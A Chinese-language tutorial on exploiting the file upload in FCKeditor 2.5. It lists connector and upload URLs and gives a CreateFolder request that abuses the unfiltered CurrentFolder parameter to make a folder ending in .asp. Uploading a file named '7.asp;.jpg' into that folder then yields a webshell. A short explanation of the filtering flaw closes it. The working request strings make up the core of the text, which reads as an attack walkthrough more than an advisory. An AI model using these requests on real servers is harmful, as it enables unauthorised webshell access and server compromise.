FCKeditor编辑器:
🚗可以去这下载编辑器:***.com
该编辑器基础
- 查看编辑器版本 路径:FCKeditor/_whatsnew.html
- FCKeditor编辑器页
路径:FCKeditor/_samples/default.html -
常用上传地址 ```url FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp ```
由于这里用的是2.5的版本所以下面这条语句能用
***.com
如果在输入以上地址测试的过程中弹出提示‘’‘this connector is disabled,please check the xxx file ’, 那就是没有开启文件上传功能,需要开启
# 文件路径
\editor\filemanager\connectors\asp\config.asp
#参数
Dim ConfigIsEnabled
ConfigIsEnabled = False
FCKeditor漏洞利用方法→文件上传漏洞
先来到前文所指的后台页面
漏洞利用
- 新建文件夹captain.asp 被系统改为captain_asp,这就是fckeditor过滤"."为"_"的一个机制,
- 想要突破的话采用绝对路径的方式创建文件夹,直接绕过函数。
执行以下地址就能成功创建文件夹
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/fendo7777.asp&NewFolderName=xx.asp -
然后我们再上传
7.asp;.jpg到fendo7777.asp文件下看是否成功解析 -
上传成功后,访问该文件,默认文件路径如下,已经成功获取webshell
***.com
漏洞原因
为什么手动不能创建,而通过以上地址就能成功创建了,对比下手动创建和通过以上地址创建的一个区别。
#漏洞地址:
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/fendo7777.asp&NewFolderName=x.asp
#手工新建:
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/&NewFolderName=captain.asp
原因: CurrentFolder:当前文件夹 未进行过滤(这个文件夹下的没有过滤) NewFolderName:新建文件名 进行了过滤